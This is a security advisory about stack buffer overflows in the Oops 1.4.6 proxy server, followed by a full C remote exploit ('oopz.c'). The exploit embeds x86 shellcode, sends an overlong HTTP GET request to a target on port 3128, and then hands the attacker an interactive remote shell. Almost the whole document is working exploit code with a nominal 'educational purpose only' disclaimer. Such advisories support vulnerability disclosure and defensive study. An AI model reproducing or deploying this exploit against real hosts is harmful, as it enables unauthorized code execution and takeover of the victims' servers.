source: http://www.securityfocus.com/bid/2099/info
Oops is a freely available proxy server package, written by Igor Khasilev. A problem exists in the package which could allow for the arbitrary execution of code.
Multiple buffer overflows exist in this product. In one instance, it is possible to make a request with numerous quotation marks (") in the request, which are later translated to the html tag """. The translation of this character makes it possible to overflow and potentially execute code on the stack. This makes it possible for a malicious user to execute code with the privileges of the user the proxy server is operating as.
The secondary problem involves a buffer overflow in the DNS resolution code. It is possible to create a stack based overflow by forcing the proxy to attempt to resolve a long host/domain name. This makes it possible to overwrite variables on the stack, and potentially execute arbitrary code. It is possible for a malicious user to exploit this problem and execute commands with the privileges inherited by the proxy server process.
/*--oopz.c---//-------------r-3-m-0-t-3---------------\\-------------*
TARGET : oops-1.4.6 (one russi4n proxy-server)
CLASS : remote
0S : FreeBSD 4.(0 - 2)
AUTH0R : diman
VEND0R : wanna payment for support. I'm not doing his job, yeh?
DATE : 7-11-2k
N0TE : xploit was coded for fun only.
GREETS : &y, fm, JU$ (all for be a gOod guys)
*/
#define BUFADDR 0xbfafe55f // ret
#define OFFSET2 450 // second copy
#define RETOFF 1363 // ip offset
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
/*
I found two offsets where our shellcode can be placed.
Since ret value is hardcoded, we should use two copies
of shellcode. But last part of the second copy can be
corrupted during procedure processing. Solution is to
check current offset of the shellcode and jump from
second copy to the first one. Something like v1r11 :)
Also we avoids large letters in the shellcode
and some other characters. We simple dup2(33,0) before
execve, so be sure you are only connected if you don't
wanna provide sh3ll for someone else =) Enough...
*/
int
shellcode(char* buf) {
__asm__("
call ne0;
ne0: popl %eax;
nop;
nop;
LEN1 = sh - ne0 ;
leal LEN1(%eax),%eax;
pushl %eax;
pushl 8(%ebp);
call strcpy;
addl $8,%esp;
jmp done;
//-----s-h-e-l-l-c-o-d-e---s-t-a-r-t-s---h-e-r-e--------//
sh: .fill 6,1,0x90; // magic nops
jmp me;
retme: popl %esi;
nop;
movl %esi,%eax;
DELTA = huh - sh - 450;
negl %eax;
leal DELTA(%eax),%eax;
negl %eax;
movl (%eax),%ebx;
cmpl $0x90909090,%ebx;
je huh; // we are in the first copy yet
movl %esi,%eax; // jump to first copy
leal -450(%eax),%eax;
jmp *%eax;
me: call retme;
huh: .fill 5,1,0x90;
jmp call0; // just one more (we not shure where we are)
ret0: popl %esi;
movl (%esi),%ebx; // decrypt /bin/sh
subl $0x30303030,%ebx;
movl %ebx,(%esi);
movl 4(%esi),%ebx;
subl $0x30303030,%ebx;
movl %ebx,4(%esi);
xorl %eax,%eax;
movl %esi,%edi;
negl %edi;
leal -7(%edi),%edi;
negl %edi;
movb %al,(%edi); // end it with 0
jmp prep;
call0: call ret0;
.byte 0x5f,0x92,0x99,0x9e,0x5f,0xa3,0x98,0xee,0x03; /* /bin/sh */
dup2: leal -4(%esp),%esp;
movl %ecx,(%esp);
leal -4(%esp),%esp;
movl $-33,%eax;
negl %eax;
movl %eax,(%esp);
movl $-0x5a,%eax;
negl %eax;
leal -4(%esp),%esp;
int $0x80;
negl %esp;
leal -0xc(%esp),%esp;
negl %esp;
ret;
prep: xorl %ecx,%ecx;
call dup2;
movb $1,%cl;
call dup2;
movb $2,%cl;
call dup2;
xorl %eax,%eax;
leal -4(%esp),%esp;
movl %eax,(%esp); // 0
leal -4(%esp),%esp;
movl %esi,(%esp); // name
movl %esp,%edi;
leal -4(%esp),%esp;
movl %eax,(%esp); // envp
leal -4(%esp),%esp;
movl %edi,(%esp); // av[]
leal -4(%esp),%esp;
movl %esi,(%esp); // name
movb $0x3b,%al; // execve
leal -4(%esp),%esp;
int $0x80;
xorl %eax,%eax;
movl %eax,(%esp);
movl %eax,%ebx;
movb $1,%al; // exit
leal -4(%esp),%esp;
int $0x80;
nop; // hip
nop; // hop
.byte 0x00;
done:;
");
}
int res(char*,struct sockaddr_in *);
void spawned_shell(int sock);
main(int ac, char** av){
#define SZ 0x2000
#define FIL 0xbf
char buf[SZ],buf2[SZ],*pc,c;
int i,sock;
struct sockaddr_in sin;
short port=3128;
unsigned *pu;
memset(buf,FIL,SZ);
shellcode(buf);
buf[strlen(buf)]=FIL;
pc=&buf[OFFSET2];
shellcode(pc);
pc+=strlen(pc);
*pc=FIL;
pu=(unsigned*)&buf[RETOFF];
*pu=BUFADDR;
buf[RETOFF+4]=0;
strcpy(buf2,"GET http://p");
strcat(buf2,buf);
strcat(buf2," HTTP/1.0\r\n\r\n");
fprintf(stderr,"oops-1.4.6 remote xpl0it for 4.x by diman.\n");
fprintf(stderr,"use for educational purpose only.\n");
if(ac<2) {
fprintf(stderr,"usage: ./oopz target_host [port, def=3128]\n");
exit(0);
}
pc=av[1];
if(ac>2) port=atoi(av[2]);
if(!res(pc,&sin)) {
fprintf(stderr,"can't resolve %s\n",pc);
exit(0);
}
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
sin.sin_port=htons(port);
if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1) {
fprintf(stderr,"can't connect %s:%d\n",pc,port);
exit(0);
}
fprintf(stderr,"Connected. Sending surprise...\n");
send(sock,buf2,strlen(buf2),0);
spawned_shell(sock);
}
int res(char* host,struct sockaddr_in * ps)
{
struct hostent *he;
bzero(ps,sizeof(struct sockaddr_in));
ps->sin_family=AF_INET;
ps->sin_len=sizeof(struct sockaddr_in);
if(!inet_aton(host,&ps->sin_addr))
{
he=gethostbyname2(host,AF_INET);
if(!he) return 0;
memcpy(&ps->sin_addr,he->h_addr_list[0],sizeof(struct in_addr));
}
return 1;
}
/*
Next was ripped from wildcoyote's gopher sploit.
*/
void spawned_shell(int sock){
char buf[1024];
fd_set rset;
int i;
while (1)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if (FD_ISSET(sock,&rset)) {
i=read(sock,buf,1024);
if (i <= 0){
fprintf(stderr,"Connection lost.\n");
exit(0);
}
buf[i]=0;
puts(buf);
}
if (FD_ISSET(STDIN_FILENO,&rset))
{
i=read(STDIN_FILENO,buf,1024);
if (i>0){
buf[i]=0;
if(write(sock,buf,i)<0){
fprintf(stderr,"Connection lost.\n");
exit(0);
}
}
}
}
}
/*---------------------e-n-d---o-f---o-o-p-z-.-c------------------*/